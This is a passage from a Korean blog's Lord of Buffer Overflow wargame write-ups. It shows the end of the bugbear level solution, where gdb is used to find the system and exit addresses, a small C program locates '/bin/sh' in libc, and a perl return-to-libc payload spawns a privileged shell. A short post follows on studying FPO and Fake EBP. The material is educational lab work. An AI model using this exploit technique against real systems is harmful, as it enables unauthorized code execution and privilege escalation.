if(argv[1][47] == '\xbf')

{

printf("stack betrayed you!!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}

굵은 부분으로 표시해둔 부분처럼 RET의 앞주소가 bf이면 안되므로 

그말은 즉슨, 스택안에 쉘코드를 넣어준다면 씹히게 됩니다. 

위에서 주어진 흰트도 그렇고 지금의 상황도 그러하여 RTL 기법을 사용하였습니다

우선 system 주소와 exit 주소가 필요하므로 디버깅하여 찾아내면

[darkknight@localhost /tmp]$ gdb -q bugbear 

(gdb) b main

Breakpoint 1 at 0x8048436

(gdb) r  

Starting program: /tmp/bugbear 


Breakpoint 1, 0x8048436 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) p exit

$2 = {void (int)} 0x400391e0 <exit>

(gdb)   

이렇게되고, /bin/sh 주소를 찾아야하므로 소스를 짜서 넣어주면 

[darkknight@localhost /tmp]$ cat give.c

#include <stdio.h>


#include <memory.h>


int main(void)


{


        long shell;


        shell = 0x40058ae0;


        while( memcmp( (void *)shell, "/bin/sh", 8) )


                shell++;


        printf("%s is at %p\n", shell, shell);


        return 0;


}


[darkknight@localhost /tmp]$ ./give 

/bin/sh is at 0x400fbff9

구할건 다구햇으므로 페이로드를 작성하고 커맨드를 날려주면

 | buf | SFP | &system | &exit  | &/bin/sh|

[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "\x90"x44,"\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`

?????????????????????????????????????????????@?@廈@

bash$ my-pass

euid = 513

new divide

bash$ 

쉘이 따엿습니다


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level15.giant  (0) 2014.08.22
(LOB)level14.bugbear  (0) 2014.08.20
(LOB)level12.golem  (0) 2014.08.19
(LOB)Level11.skeleton  (0) 2014.08.16
(LOB)Level10.vampire  (0) 2014.08.14
,
반응형

FPO에 관해서 공부를해야해서 문서를 쓰면서 공부를햇는데 아직 완벽하게 이해를 하지못해서 조금더 공부하고 다음레벨로 넘어가야 할것 같습니다 이번 레벨도 문서로 대체하도록 하겟습니다 


Understading Fake EBP &amp; FPO.pdf

+)FAKE EBP 부분은 나중에 이문제가 나온다그래서 그때 풀면서 추가로 수정할 예정입니다. 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level14.bugbear  (0) 2014.08.20
(LOB)level13.darkknight  (0) 2014.08.19
(LOB)Level11.skeleton  (0) 2014.08.16
(LOB)Level10.vampire  (0) 2014.08.14
(LOB)Level9.troll  (0) 2014.08.14
,